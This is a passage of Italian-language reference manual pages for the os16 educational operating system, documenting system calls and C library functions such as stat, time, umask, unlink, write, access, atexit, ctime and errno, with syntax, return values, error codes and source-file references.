La funzione ***stat()*** individua il file attraverso una stringa contenente il suo percorso (***path***); la funzione '`fstat`' si riferisce a un file aperto di cui si conosce il numero del descrittore (***fdn***). In entrambi i casi, la struttura che deve accogliere l'esito dell'interrogazione, viene indicata attraverso un puntatore, come ultimo argomento (***buffer***).

La struttura '`struct stat`' è definita nel file '`sys/stat.h`' nel modo seguente:

```
struct stat {
    dev_t     st_dev;       // Device containing the file.
    ino_t     st_ino;       // File serial number (inode number).
    mode_t    st_mode;      // File type and permissions.
    nlink_t   st_nlink;     // Links to the file.
    uid_t     st_uid;       // Owner user id.
    gid_t     st_gid;       // Owner group id.
    dev_t     st_rdev;      // Device number if it is a device file.
    off_t     st_size;      // File size.
    time_t    st_atime;     // Last access time.
    time_t    st_mtime;     // Last modification time.
    time_t    st_ctime;     // Last inode modification.
    blksize_t st_blksize;   // Block size for I/O operations.
    blkcnt_t  st_blocks;    // File size / block size.
};
```

Va osservato che il file system Minix 1, usato da os16, riporta esclusivamente la data e l'ora di modifica, pertanto le altre due date previste sono sempre uguali a quella di modifica.

Il membro ***st_mode***, oltre alla modalità dei permessi che si cambiano con *chmod(2)* [98.4], serve ad annotare altre informazioni. Nel file '`sys/stat.h`' sono definite delle macro-istruzioni, utili per individuare il tipo di file. Queste macro-istruzioni si risolvono in un valore numerico diverso da zero, solo se la condizione che rappresentano è vera:

Macro-istruzione	Significato
`S_ISBLK (`***m***`)`	È un file di dispositivo a blocchi?
`S_ISCHR (`***m***`)`	È un file di dispositivo a caratteri?
`S_ISFIFO (`***m***`)`	È un file FIFO?
`S_ISREG (`***m***`)`	È un file puro e semplice?
`S_ISDIR (`***m***`)`	È una directory?
`S_ISLNK (`***m***`)`	È un collegamento simbolico?
`S_ISSOCK (`***m***`)`	È un socket di dominio Unix?

Naturalmente, anche se nel file system possono esistere file di ogni tipo, poi os16 non è in grado di gestire i file FIFO, i collegamenti simbolici e nemmeno i socket di dominio Unix.

Nel file '`sys/stat.h`' sono definite anche delle macro-variabili per individuare e facilitare la selezione dei bit che compongono le informazioni del membro ***st_mode***:

Modalità simbolica	Modalità numerica	Descrizione
`S_IFMT`	0170000_8	Maschera che raccoglie tutti i bit che individuano il tipo di file.
`S_IFBLK`	0060000_8	File di dispositivo a blocchi.
`S_IFCHR`	0020000_8	File di dispositivo a caratteri.
`S_IFIFO`	0010000_8	File FIFO.
`S_IFREG`	0100000_8	File puro e semplice.
`S_IFDIR`	0040000_8	Directory.
`S_IFLNK`	0120000_8	Collegamento simbolico.
`S_IFSOCK`	0140000_8	Socket di dominio Unix.

Modalità simbolica	Modalità numerica	Descrizione
`S_ISUID`	0004000_8	SUID.
`S_ISGID`	0002000_8	SGID.
`S_ISVTX`	0001000_8	Sticky.

Modalità simbolica	Modalità numerica	Descrizione
`S_IRWXU`	0000700_8	Lettura, scrittura ed esecuzione per l'utente proprietario.
`S_IRUSR`	0000400_8	Lettura per l'utente proprietario.
`S_IWUSR`	0000200_8	Scrittura per l'utente proprietario.
`S_IXUSR`	0000100_8	Esecuzione per l'utente proprietario.

Modalità simbolica	Modalità numerica	Descrizione
`S_IRWXG`	0000070_8	Lettura, scrittura ed esecuzione per il gruppo.
`S_IRGRP`	0000040_8	Lettura per il gruppo.
`S_IWGRP`	0000020_8	Scrittura per il gruppo.
`S_IXGRP`	0000010_8	Esecuzione per il gruppo.

Modalità simbolica	Modalità numerica	Descrizione
`S_IRWXO`	0000007_8	Lettura, scrittura ed esecuzione per gli altri utenti.
`S_IROTH`	0000004_8	Lettura per gli altri utenti.
`S_IWOTH`	0000002_8	Scrittura per gli altri utenti.
`S_IXOTH`	0000001_8	Esecuzione per gli altri utenti.

os16 non considera i permessi SUID (*Set user id*), SGID (*Set group id*) e Sticky; inoltre, non tiene in considerazione i permessi legati al gruppo, perché non ne tiene traccia.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dal contenuto della variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`ENFILE`	Troppi file aperti nel sistema.
`ENOENT`	File non trovato.
`EACCES`	Permesso negato.
`EBADF`	Il descrittore del file richiesto non è valido.

FILE SORGENTI

'`lib/sys/stat.h`' [106.13]

'`lib/sys/stat/stat.c`' [106.13.6]

'`lib/sys/stat/fstat.c`' [106.13.3]

'`lib/sys/os16/sys.s`' [106.12.15]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

'`kernel/fs/path_stat.c`' [105.4.44]

'`kernel/fs/fd_stat.c`' [105.4.11]

VEDERE ANCHE

chmod(2) [98.4], *chown(2)* [98.5].

98.37 os16: sys(2)

NOME

'**`sys`**' - chiamata di sistema

SINTASSI

```
#include <sys/os16.h>
void sys (int syscallnr, void *message, size_t size);
```

DESCRIZIONE

Attraverso la funzione ***sys()*** si effettuano tutte le chiamate di sistema, passando al kernel un messaggio, a cui punta ***message***, lungo ***size*** byte. A seconda dei casi, il messaggio può essere modificato dal kernel, come risposta alla chiamata.

Il messaggio è in pratica una variabile strutturata, la cui articolazione cambia a seconda del tipo di chiamata, pertanto si rende necessario specificarne ogni volta la dimensione.

Le strutture usate per comporre i messaggi hanno alcuni membri ricorrenti frequentemente:

Membro	Descrizione
`char path[PATH_MAX];`	Un percorso di file o directory.
`... ret;`	Serve a contenere il valore restituito dalla funzione che nel kernel compie effettivamente il lavoro. Il tipo del membro varia caso per caso.
`int errno;`	Serve a contenere il numero dell'errore prodotto dalla funzione che nel kernel compie effettivamente il lavoro.
`int errln;`	Serve a contenere il numero della riga di codice in cui si è prodotto un errore.
`char errfn[PATH_MAX];`	Serve a contenere il nome del file in cui si è prodotto un errore.

Le funzioni che si avvalgono di ***sys()***, prima della chiamata devono provvedere a compilare il messaggio con i dati necessari, dopo la chiamata devono acquisire i dati di ritorno, contenuti nel messaggio aggiornato dal kernel, e in particolare devono aggiornare le variabili ***errno***, ***errln*** e ***errfl***, utilizzando i membri con lo stesso nome presenti nel messaggio.

FILE SORGENTI

'`lib/sys/os16.h`' [106.12]

'`lib/sys/os16/sys.s`' [106.12.15]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

98.38 os16: stime(2)

Vedere *time(2)* [98.39].

98.39 os16: time(2)

NOME

'**`time`**', '**`stime`**' - lettura o impostazione della data e dell'ora del sistema

SINTASSI

```
#include <time.h>
time_t time  (time_t *timer);
int    stime (time_t *timer);
```

DESCRIZIONE

La funzioni ***time()*** legge la data e l'ora attuale del sistema, espressa in secondi; se il puntatore ***timer*** è valido (non è '**`NULL`**'), il risultato dell'interrogazione viene salvato anche in ciò a cui questo punta.

La funzione ***stime()*** consente di modificare la data e l'ora attuale del sistema, fornendo il puntatore alla variabile contenente la quantità di secondi trascorsi a partire dall'ora zero del 1 gennaio 1970.

VALORE RESTITUITO

La funzione ***time()*** restituisce la data e l'ora attuale del sistema, espressa in secondi trascorsi a partire dall'ora zero del 1 gennaio 1970.

La funzione ***stime()*** restituisce zero in caso di successo e, teoricamente, -1 in caso di errore, ma attualmente nessun tipo di errore è previsto.

DIFETTI

La funzione ***stime()*** dovrebbe essere riservata a un utente privilegiato, mentre attualmente qualunque utente può servirsene per cambiare la data di sistema.

FILE SORGENTI

'`lib/time.h`' [106.16]

'`lib/time/time.c`' [106.16.6]

'`lib/time/stime.c`' [106.16.5]

'`lib/sys/os16/sys.s`' [106.12.15]

'kernel/proc/_isr.s' [105.9.1]

'kernel/proc/sysroutine.c' [105.9.30]

'kernel/k_libc.h' [105.6]

'kernel/k_libc/k_time.c' [105.6.11]

'kernel/k_libc/k_stime.c' [105.6.10]

VEDERE ANCHE

date(1) [97.8], *ctime(3)* [99.13].

98.40 os16: umask(2)

NOME

'**umask**' - maschera dei permessi

SINTASSI

```
#include <sys/stat.h>
mode_t umask (mode_t mask);
```

DESCRIZIONE

La funzione ***umask()*** modifica la maschera dei permessi associata al processo in corso. Nel contenuto del parametro ***mask*** vengono presi in considerazione soltanto i nove bit meno significativi, i quali rappresentano i premessi di accesso di utente proprietario, gruppo e altri utenti.

La maschera dei permessi viene usata dalle funzioni che creano dei file, per limitare i permessi in modo automatico: ciò che appare attivo nella maschera è quello che non viene consentito nella creazione del file.

VALORE RESTITUITO

La funzione restituisce il valore che aveva la maschera dei permessi prima della chiamata.

FILE SORGENTI

'lib/sys/stat.h' [106.13]

'lib/sys/stat/umask.c' [106.13.7]

'lib/sys/os16/sys.s' [106.12.15]

'kernel/proc/_isr.s' [105.9.1]

'kernel/proc/sysroutine.c' [105.9.30]

VEDERE ANCHE

mkdir(2) [98.25], *chmod(2)* [98.4], *open(2)* [98.28], *stat(2)* [98.36].

98.41 os16: umount(2)

Vedere *mount(2)* [98.27].

98.42 os16: unlink(2)

NOME

'**unlink**' - cancellazione di un nome

SINTASSI

```
#include <unistd.h>
int unlink (const char *path);
```

DESCRIZIONE

La funzione ***unlink()*** cancella un nome da una directory, ma se si tratta dell'ultimo collegamento che ha quel file, allora libera anche l'inode corrispondente.

VALORE RESTITUITO

Valore	Significato
0	Operazione conclusa con successo.
−1	Errore: la variabile ***errno*** viene impostata di conseguenza.

ERRORI

Valore di ***errno***	Significato
`ENOTEMPTY`	È stata tentata la cancellazione di una directory, ma questa non è vuota.
`ENOTDIR`	Una delle directory del percorso, non è una directory.
`ENOENT`	Il nome richiesto non esiste.
`EROFS`	Il file system è in sola lettura.
`EPERM`	Mancano i permessi necessari.
`EUNKNOWN`	Si è verificato un errore imprevisto e sconosciuto.

FILE SORGENTI

'`lib/unistd.h`' [106.17]

'`lib/unistd/unlink.c`' [106.17.35]

'`lib/sys/os16/sys.s`' [106.12.15]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

'`kernel/fs/path_unlink.c`' [105.4.46]

VEDERE ANCHE

rm(1) [97.18], *link(2)* [98.23], *rmdir(2)* [98.30].

98.43 os16: wait(2)

NOME

'**wait**' - attesa della morte di un processo figlio

SINTASSI

```
#include <sys/wait.h>
pid_t wait (int *status);
```

DESCRIZIONE

La funzione ***wait()*** mette il processo in pausa, in attesa della morte di un processo figlio; quando ciò dovesse accadere, il valore di ***status** verrebbe aggiornato con quanto restituito dal processo defunto e il processo sospeso riprenderebbe l'esecuzione.

VALORE RESTITUITO

La funzione restituisce il numero del processo defunto, oppure −1 se non ci sono processi figli.

ERRORI

Valore di ***errno***	Significato
`ECHILD`	Non ci sono processi figli da attendere.

FILE SORGENTI

'`lib/sys/wait.h`' [106.15]

'`lib/sys/wait/wait.c`' [106.15.1]

'`lib/sys/os16/sys.s`' [106.12.15]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

'`kernel/proc/proc_sys_wait.c`' [105.9.28]

VEDERE ANCHE

_exit(2) [98.2], *fork(2)* [98.14], *kill(2)* [98.22], *signal(2)* [98.34].

98.44 os16: write(2)

NOME

'**write**' - scrittura di un descrittore di file

SINTASSI

```
#include <unistd.h>
ssize_t write (int fdn, const void *buffer, size_t count);
```

DESCRIZIONE

La funzione ***write()*** consente di scrivere fino a un massimo di ***count*** byte, tratti dall'area di memoria che inizia all'indirizzo ***buffer***, presso il file rappresentato dal descrittore ***fdn***. La scrittura avviene a partire dalla posizione in cui si trova l'indice interno.

VALORE RESTITUITO

La funzione restituisce la quantità di byte scritti effettivamente e in tal caso è possibile anche ottenere una quantità pari a zero. Se si verifica invece un errore, la funzione restituisce -1 e aggiorna la variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
EBADF	Il numero del descrittore di file non è valido.
EINVAL	Il file non è aperto in scrittura.
EISDIR	Il file è una directory.
E_FILE_TYPE_UNSUPPORTED	Il file è di tipo non gestibile con os16.
EIO	Errore di input-output.

FILE SORGENTI

'lib/unistd.h' [106.17]

'lib/unistd/write.c' [106.17.36]

'lib/sys/os16/sys.s' [106.12.15]

'kernel/proc/_isr.s' [105.9.1]

'kernel/proc/sysroutine.c' [105.9.30]

'kernel/fs/fd_write.c' [105.4.12]

VEDERE ANCHE

close(2) [98.7], *lseek(2)* [98.24], *open(2)* [98.28], *read(2)* [98.29], *fwrite(3)* [99.48].

98.45 os16: z(2)

NOME

'**z_**...' - funzioni provvisorie

SINTASSI

```
#include <sys/os16.h>
void z_perror   (const char *string);
int  z_printf   (char *format, ...);
int  z_putchar  (int c);
int  z_puts     (char *string);
int  z_vprintf  (char *format, va_list arg);
```

DESCRIZIONE

Le funzioni del gruppo '**z_**...**()**' eseguono compiti equivalenti a quelli delle funzioni di libreria con lo stesso nome, ma prive del prefisso '**z_**'. Queste funzioni '**z_**...**()**' si avvalgono, per il loro lavoro, di chiamate di sistema particolari; la loro realizzazione si è resa necessaria durante lo sviluppo di os16, prima che potesse essere disponibile un sistema di gestione centralizzato dei dispositivi.

Queste funzioni non sono più utili, ma rimangono per documentare le fasi realizzative iniziali di os16 e, d'altro canto, possono servire se si rende necessario raggirare la gestione dei dispositivi per visualizzare dei messaggi sullo schermo.

FILE SORGENTI

'`lib/sys/os16.h`' [106.12]

'`lib/sys/os16/z_perror.c`' [106.12.17]

'`lib/sys/os16/z_printf.c`' [106.12.18]

'`lib/sys/os16/z_putchar.c`' [106.12.19]

'`lib/sys/os16/z_puts.c`' [106.12.20]

'`lib/sys/os16/z_vprintf.c`' [106.12.21]

VEDERE ANCHE

perror(3) [99.77], *printf(3)* [99.78], *putchar(3)* [99.37], *puts(3)* [99.38], *vprintf(3)* [99.128], *vsprintf(3)* [99.128].

98.46 os16: z_perror(2)

Vedere *z(2)* [98.45].

Sezione 3: funzioni di libreria

99.1 os16: access(3)

NOME

'**access**' - verifica dei permessi di accesso dell'utente

SINTASSI

```
#include <unistd.h>
int access (const char *path, int mode);
```

DESCRIZIONE

La funzione ***access()*** verifica lo stato di accessibilità del file indicato nella stringa ***path***, secondo i permessi stabiliti con il parametro ***mode***.

L'argomento corrispondente al parametro ***mode*** può assumere un valore corrispondente alla macro-variabile ***F_OK***, per verificare semplicemente l'esistenza del file specificato; altrimenti, può avere un valore composto dalla combinazione (con l'operatore OR binario) di ***R_OK***, ***W_OK*** e ***X_OK***, per verificare, rispettivamente, l'accessibilità in lettura, in scrittura e in esecuzione. Queste macro-variabili sono dichiarate nel file '`unistd.h`'.

VALORE RESTITUITO

Valore	Significato
0	I permessi di accesso richiesti sono tutti disponibili.
−1	I permessi non sono tutti disponibili, oppure si è verificato un errore di altro genere, da chiarire analizzando la variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`ENFILE`	Troppi file aperti nel sistema.
`ENOENT`	File non trovato.
`EACCES`	Permesso negato.

DIFETTI

Questa realizzazione della funzione ***access()*** determina l'accessibilità a un file attraverso le informazioni che può trarre autonomamente, senza usare una chiamata di sistema. Pertanto, si tratta di una valutazione presunta e non reale.

FILE SORGENTI

'`lib/unistd.h`' [106.17]

'`lib/unistd/access.c`' [106.17.2]

VEDERE ANCHE

stat(2) [98.36].

99.2 os16: abort(3)

NOME

‘**abort**’ - conclusione anormale del processo

SINTASSI

```
#include <stdlib.h>
void abort (void);
```

DESCRIZIONE

La funzione ***abort()*** verifica lo stato di configurazione del segnale ‘**SIGABRT**’ e, se risulta bloccato, lo sblocca, quindi invia questo segnale per il processo in corso. Ciò provoca la conclusione del processo, secondo la modalità prevista per tale segnale, a meno che il segnale sia stato ridiretto a una funzione, nel qual caso, dopo l'invio del segnale, potrebbe esserci anche una ripresa del controllo da parte della funzione ***abort()***. Tuttavia, se così fosse, il segnale ‘**SIGABRT**’ verrebbe poi riconfigurato alla sua impostazione normale e verrebbe inviato nuovamente lo stesso segnale per provocare la conclusione del processo. Pertanto, la funzione ***abort()*** non restituisce il controllo.

Va comunque osservato che os16 non è in grado di associare una funzione a un segnale, pertanto, i segnali possono solo avere una gestione predefinita, o al massimo risultare bloccati.

FILE SORGENTI

‘lib/stdlib.h’ [106.10]

‘lib/stdlib/abort.c’ [106.10.2]

VEDERE ANCHE

signal(2) [98.34].

99.3 os16: abs(3)

NOME

‘**abs**’, ‘**labs**’ - valore assoluto di un numero intero

SINTASSI

```
#include <stdlib.h>
int abs (int j);
long int labs (long int j);
```

DESCRIZIONE

Le funzioni ‘...**abs()**’ restituiscono il valore assoluto del loro argomento. Si distinguono per tipo di intero e, nel caso di os16, non essendo disponibile il tipo ‘**long long int**’, si limitano a ***abs()*** e ***labs()***.

VALORE RESTITUITO

Il valore assoluto del numero intero fornito come argomento.

FILE SORGENTI

'`lib/stdlib.h`' [106.10]

'`lib/stdlib/abs.c`' [106.10.3]

'`lib/stdlib/labs.c`' [106.10.12]

VEDERE ANCHE

div(3) [99.15], *ldiv(3)* [99.15], *rand(3)* [99.85].

99.4 os16: atexit(3)

NOME

'**`atexit`**', '**`exit`**' - gestione della chiusura dei processi

SINTASSI

```
#include <stdlib.h>
typedef void (*atexit_t) (void);
int  atexit (atexit_t function);
void exit   (int status);
```

DESCRIZIONE

La funzione ***exit()*** conclude il processo in corso, avvalendosi della chiamata di sistema *_exit(2)* [98.2], ma prima di farlo, scandisce un array contenente un elenco di funzioni, da eseguire prima di tale chiamata finale. Questo array viene popolato eventualmente con l'aiuto della funzione ***atexit()***, sapendo che l'ultima funzione di chiusura aggiunta, è la prima a dover essere eseguita alla conclusione.

La funzione ***atexit()*** riceve come argomento il puntatore a una funzione che non prevede argomenti e non restituisce alcunché. Per facilitare la dichiarazione del prototipo e, di conseguenza, dell'array usato per accumulare tali puntatori, il file di intestazione '`stdlib.h`' di os16 dichiara un tipo speciale, non standard, denominato '**`atexit_t`**', definito come:

```
typedef void (*atexit_t) (void);
```

Si possono annotare un massimo di ***ATEXIT_MAX*** funzioni da eseguire prima della conclusione di un processo. Tale macro-variabile è definita nel file '`limits.h`'.

VALORE RESTITUITO

Solo la funzione ***atexit()*** restituisce un valore, perché ***exit()*** non può nemmeno restituire il controllo.

Valore	Significato
0	Operazione conclusa con successo.
-1	Errore, dovuto all'esaurimento dello spazio nell'array usato per accumulare le funzioni di chiusura.

FILE SORGENTI

'lib/limits.h' [106.1.8]

'lib/stdlib.h' [106.10]

'lib/stdlib/atexit.c' [106.10.5]

'lib/stdlib/exit.c' [106.10.10]

VEDERE ANCHE

_exit(2) [98.2], *_Exit(2)* [98.2].

99.5 os16: atoi(3)

NOME

'**atoi**', '**atol**' - conversione da stringa a numero intero

SINTASSI

```
#include <stdlib.h>
int atoi (const char *string);
long int atol (const char *string);
```

DESCRIZIONE

Le funzioni '**ato...()**' convertono una stringa, fornita come argomento, in un numero intero. La conversione avviene escludendo gli spazi iniziali, considerando eventualmente un segno («+» o «–») e poi soltanto i caratteri che rappresentano cifre numeriche. La scansione della stringa e l'interpretazione del valore numerico contenuto terminano quando si incontra un carattere diverso dalle cifre numeriche.

VALORE RESTITUITO

Il valore numerico ottenuto dall'interpretazione della stringa.

FILE SORGENTI

'lib/stdlib.h' [106.10]

'lib/stdlib/atoi.c' [106.10.6]

'lib/stdlib/atol.c' [106.10.7]

VEDERE ANCHE

strtol(3) [99.121], *strtoul(3)* [99.121].

99.6 os16: atol(3)

Vedere *atoi(3)* [99.5].

99.7 os16: basename(3)

NOME

'**basename**', '**dirname**' - elaborazione dei componenti di un percorso

SINTASSI

```
#include <libgen.h>
char *basename (char *path);
char *dirname (char *path);
```

DESCRIZIONE

Le funzioni ***basename()*** e ***dirname()***, restituiscono un percorso, estratto da quello fornito come argomento (***path***). Per la precisione, ***basename()*** restituisce l'ultimo componente del percorso, mentre ***dirname()*** restituisce ciò che precede l'ultimo componente. Valgono gli esempi seguenti:

Contenuto originale di ***path***	Risultato prodotto da '**dirname(*path*)**'	Risultato prodotto da '**basename(*path*)**'
`"/usr/bin/`	`"/usr"`	`"bin"`
`"/usr/bin`	`"/usr"`	`"bin"`
`"/usr`	`"/"`	`"usr"`
`"usr`	`"."`	`"usr"`
`"/"`	`"/"`	`"/"`
`"."`	`"."`	`"."`
`".."`	`".."`	`".."`

È importante considerare che le due funzioni alterano il contenuto di ***path***, in modo da isolare i componenti che servono.

VALORE RESTITUITO

Le due funzioni restituiscono il puntatore alla stringa contenente il risultato dell'elaborazione, trattandosi di una porzione della stringa già usata come argomento della chiamata e modificata per l'occasione. Non è previsto il manifestarsi di alcun errore.

FILE SORGENTI

'`lib/libgen.h`' [106.6]

'`lib/libgen/basename.c`' [106.6.1]

'`lib/libgen/dirname.c`' [106.6.2]

99.8 os16: bp(3)

Vedere *cs(3)* [99.12].

99.9 os16: clearerr(3)

NOME

'**clearerr**' - azzeramento degli indicatori di errore e di fine file di un certo flusso di file

SINTASSI

```
#include <stdio.h>
void clearerr (FILE *fp);
```

DESCRIZIONE

La funzione ***clearerr()*** azzera gli indicatori di errore e di fine file, del flusso di file indicato come argomento.

FILE SORGENTI

'`lib/stdio.h`' [106.9]

'`lib/stdio/clearerr.c`' [106.9.2]

VEDERE ANCHE

feof(3) [99.28], *ferror(3)* [99.29], *fileno(3)* [99.34], *stdio(3)* [99.103].

99.10 os16: closedir(3)

NOME

'**closedir**' - chiusura di una directory

SINTASSI

```
#include <sys/types.h>
#include <dirent.h>
int closedir (DIR *dp);
```

DESCRIZIONE

La funzione ***closedir()*** chiude la directory rappresentata da ***dp***.

VALORE RESTITUITO

Valore	Significato
0	Operazione conclusa con successo.
−1	Errore: la variabile ***errno*** viene impostata di conseguenza.

ERRORI

Valore di *errno*	Significato
`EBADF`	La directory rappresentata da ***dp***, non è valida.

FILE SORGENTI

'`lib/sys/types.h`' [106.14]

'`lib/dirent.h`' [106.2]

'`lib/dirent/DIR.c`' [106.2.1]

'`lib/dirent/closedir.c`' [106.2.2]

VEDERE ANCHE

close(2) [98.7], *opendir(3)* [99.76], *readdir(3)* [99.86], *rewinddir(3)* [99.89].

99.11 os16: creat(3)

NOME

'**`creat`**' - creazione di un file puro e semplice

SINTASSI

```
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int creat (const char *path, mode_t mode);
```

DESCRIZIONE

La funzione ***creat()*** equivale esattamente all'uso della funzione ***open()***, con le opzioni '**`O_WRONLY|O_CREAT|O_TRUNC`**':

```
open (path, O_WRONLY|O_CREAT|O_TRUNC, mode)
```

Per ogni altra informazione, si veda la pagina di manuale *open(2)* [98.28].

FILE SORGENTI

'`lib/sys/types.h`' [106.14]

'`lib/sys/stat.h`' [106.13]

'`lib/fcntl.h`' [106.4]

'`lib/fcntl/creat.c`' [106.4.1]

VEDERE ANCHE

chmod(2) [98.4], *chown(2)* [98.5], *close(2)* [98.7], *dup(2)* [98.8], *fcntl(2)* [98.13], *link(2)* [98.24], *mknod(2)* [98.26], *mount(2)* [98.27], *open(2)* [98.28] *read(2)* [98.29], *stat(2)* [98.36], *umask(2)* [98.40], *unlink(2)* [98.42], *write(2)* [98.44], *fopen(3)* [99.35].

99.12 os16: cs(3)

NOME

‘**bp**’, ‘**cs**’, ‘**ds**’, ‘**es**’, ‘**sp**’, ‘**ss**’ - stato dei registri della CPU

SINTASSI

```
#include <sys/os16.h>
unsigned int cs (void);
unsigned int ds (void);
unsigned int ss (void);
unsigned int es (void);
unsigned int sp (void);
unsigned int bp (void);
```

DESCRIZIONE

Le funzioni elencate nel quadro sintattico, sono in realtà delle macro-istruzioni, chiamanti funzioni con nomi analoghi, ma preceduti da un trattino basso (***_bp()***, ***_cs()***, ***_ds()***, ***_es()***, ***_sp()***, ***_ss()***), per interrogare lo stato di alcuni registri della CPU a fini diagnostici. I registri interessati sono quelli con lo stesso nome della macro-istruzione usata per interrogarli.

FILE SORGENTI

‘`lib/sys/os16.h`’ [106.12]

‘`lib/sys/os16/_cs.s`’ [106.12.2]

‘`lib/sys/os16/_ds.s`’ [106.12.3]

‘`lib/sys/os16/_ss.s`’ [106.12.8]

‘`lib/sys/os16/_es.s`’ [106.12.4]

‘`lib/sys/os16/_sp.s`’ [106.12.7]

‘`lib/sys/os16/_bp.s`’ [106.12.1]

VEDERE ANCHE

seg_i(3) [99.91].

seg_d(3) [99.91].

99.13 os16: ctime(3)

NOME

‘**asctime**’, ‘**ctime**’, ‘**gmtime**’, ‘**localtime**’, ‘**mktime**’ - conversione di informazioni data-orario

SINTASSI

```
#include <time.h>
char       *asctime   (const struct tm *timeptr);
char       *ctime     (const time_t *timer);
struct tm *gmtime     (const time_t *timer);
struct tm *localtime (const time_t *timer);
time_t      mktime    (const struct tm *timeptr);
```

DESCRIZIONE

Queste funzioni hanno in comune il compito di convertire delle informazioni data-orario, da un formato a un altro, eventualmente anche testuale. Una data e un orario possono essere rappresentati con il tipo '**time_t**', nel qual caso si tratta del numero di secondi trascorsi dall'ora zero del 1 gennaio 1970; in alternativa potrebbe essere rappresentata in una variabile strutturata di tipo '**struct tm**', dichiarato nel file 'time.h':

```
struct tm {
    int tm_sec;      // secondi
    int tm_min;      // minuti
    int tm_hour;     // ore
    int tm_mday;     // giorno del mese
    int tm_mon;      // mese, da 1 a 12
    int tm_year;     // anno
    int tm_wday;     // giorno della settimana, da 0 (domenica) a 6
    int tm_yday;     // giorno dell'anno
    int tm_isdst;    // informazioni sull'ora estiva
};
```

In alcuni casi, la conversione dovrebbe tenere conto della configurazione locale, ovvero del fuso orario ed eventualmente del cambiamento di orario nel periodo estivo. os16 non considera alcunché e gestisce il tempo in un modo assoluto, senza nozione della convenzione locale.

La funzione ***asctime()*** converte quanto contenuto in una variabile strutturata di tipo '**struct tm**' in una stringa che descrive la data e l'ora in inglese. La stringa in questione è allocata staticamente e viene sovrascritta se la funzione viene usata più volte.

La funzione ***ctime()*** è in realtà soltanto una macro-istruzione, la quale, complessivamente, converte il tempo indicato come quantità di secondi, restituendo il puntatore a una stringa che descrive la data attuale, tenendo conto della configurazione locale. La stringa in questione utilizza la stessa memoria statica usata per ***asctime()***; inoltre, dato che os16 non distingue tra ora locale e tempo universale, la funzione non esegue alcuna conversione temporale.

La funzione ***gmtime()*** converte il tempo espresso in secondi in una forma suddivisa, secondo il tipo '**struct tm**'. La funzione restituisce quindi il puntatore a una variabile strutturata di tipo '**struct tm**', la quale però è dichiarata in modo statico, internamente alla funzione, e viene sovrascritta nelle chiamate successive della stessa.

La funzione ***localtime()*** converte una data espressa in secondi, in una data suddivisa in campi ('**struct tm**'), tenendo conto (ma non succede con os16) della configurazione locale.

La funzione ***mktime()*** converte una data contenute in una variabile strutturata di tipo '**`struct tm`**' nella quantità di secondi corrispondente.

VALORE RESTITUITO

Le funzioni che restituiscono un puntatore, se incontrano un errore, restituiscono il puntatore nullo, '**`NULL`**'. Nel caso particolare di ***mktime()***, se il valore restituito è pari a -1, si tratta di un errore.

FILE SORGENTI

'`lib/time.h`' [106.16]

'`lib/time/asctime.c`' [106.16.1]

'`lib/time/gmtime.c`' [106.16.3]

'`lib/time/mktime.c`' [106.16.4]

VEDERE ANCHE

date(1) [97.8], *clock(2)* [98.6], *time(2)* [98.39].

99.14 os16: dirname(3)

Vedere *basename(3)* [99.7].

99.15 os16: div(3)

NOME

'**`div`**', '**`ldiv`**' - calcolo del quoziente e del resto di una divisione intera

SINTASSI

```
#include <stdlib.h>
div_t div (int numer, int denom);
ldiv_t ldiv (long int numer, long int denom);
```

DESCRIZIONE

Le funzioni '...**`div()`**' calcolano la divisione tra numeratore e denominatore, forniti come argomenti della chiamata, restituendo un risultato, composto di divisione intera e resto, in una variabile strutturata.

I tipi '**`div_t`**' e '**`ldiv_t`**', sono dichiarati nel file '`stdlib.h`' nel modo seguente:

```
typedef struct {
    int      quot;
    int      rem;
} div_t;
//
typedef struct {
    long int quot;
    long int rem;
} ldiv_t;
```

I membri ***quot*** contengono il quoziente, ovvero il risultato intero; i membri ***rem*** contengono il resto della divisione.

VALORE RESTITUITO

Il risultato della divisione, strutturato in quoziente e resto.

FILE SORGENTI

'`lib/stdlib.h`' [106.10]

'`lib/stdlib/div.c`' [106.10.8]

'`lib/stdlib/ldiv.c`' [106.10.13]

VEDERE ANCHE

abs(3) [99.3].

99.16 os16: ds(3)

Vedere *cs(3)* [99.12].

99.17 os16: endpwent(3)

Vedere *getpwent(3)* [99.53].

99.18 os16: errno(3)

NOME

'**`errno`**' - numero dell'ultimo errore riportato

SINTASSI

```
#include <errno.h>
```

DESCRIZIONE

Attraverso l'inclusione del file '`errno.h`', si ottiene la dichiarazione della variabile ***errno***. In pratica, per os16 viene dichiarata così:

```
extern int errno;
```

Per annotare un errore, si assegna un valore numerico a questa variabile. Il valore numerico in questione rappresenta sinteticamente la descrizione dell'errore; pertanto, si utilizzano per questo delle macro-variabili, dichiarate tutte nel file '`errno.h`'. Nell'esempio seguente si annota l'errore ***ENOMEM***, corrispondente alla descrizione «Not enough space», ovvero «spazio insufficiente»:

```
errno = ENOMEM;
```

Dal momento che in questo modo viene comunque a mancare un riferimento al sorgente e alla posizione in cui l'errore si è manifestato, la libreria di os16 aggiunge la macro-istruzione ***errset()***, la quale però non fa parte dello standard. Si usa così:

```
errset (ENOMEM);
```

La macro-istruzione ***errset()*** aggiorna la variabile ***errln*** e l'array ***errfn[]***, rispettivamente con il numero della riga di codice in cui si è manifestato il problema e il nome della funzione che lo contiene. Con queste informazioni, la funzione *perror(3)* [99.77] può visualizzare più dati.

Pertanto, nel codice di os16, si usa sempre la macro-istruzione ***errset()***, invece di assegnare semplicemente un valore alla variabile ***errno***.

ERRORI

Gli errori previsti dalla libreria di os16 sono riassunti dalla tabella successiva. La prima parte contiene gli errori definiti dallo standard POSIX, ma solo alcuni di questi vengono usati effettivamente nella libreria, data la limitatezza di os16.

Valore di ***errno***	Definizione
`E2BIG`	Argument list too long.
`EACCES`	Permission denied.
`EADDRINUSE`	Address in use.
`EADDRNOTAVAIL`	Address not available.
`EAFNOSUPPORT`	Address family not supported.
